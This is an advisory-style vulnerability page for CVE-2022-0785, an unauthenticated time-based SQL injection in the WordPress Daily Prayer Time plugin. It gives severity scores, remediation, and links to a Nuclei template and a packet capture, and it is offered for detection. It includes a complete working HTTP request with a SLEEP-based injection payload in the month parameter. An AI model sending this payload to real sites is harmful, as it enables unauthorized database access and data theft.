🔙 목록으로 돌아가기

CVE-2022-0785: WordPress Daily Prayer Time <2022.03.01 - SQL Injection

TitleWordPress Daily Prayer Time <2022.03.01 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to the WordPress database and potentially sensitive information leakage.
RemediationUpdate to the latest version of the WordPress Daily Prayer Time plugin (2022.03.01) to fix the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.7029
CVE IDCVE-2022-0785
CWE IDCWE-89
Tags time-based-sqli cve2022 cve sqli wordpress wp-plugin unauth daily-prayer-time-for-mosques wpscan wp daily_prayer_time_project vuln

🔍 Vulnerability Description

WordPress Daily Prayer Time plugin prior to 2022.03.01 contains a SQL injection vulnerability.. It does not sanitise and escape the month parameter before using it in a SQL statement via the get_monthly_timetable AJAX action, available to unauthenticated users, leading to SQL injection.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)  Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0785.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0785.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A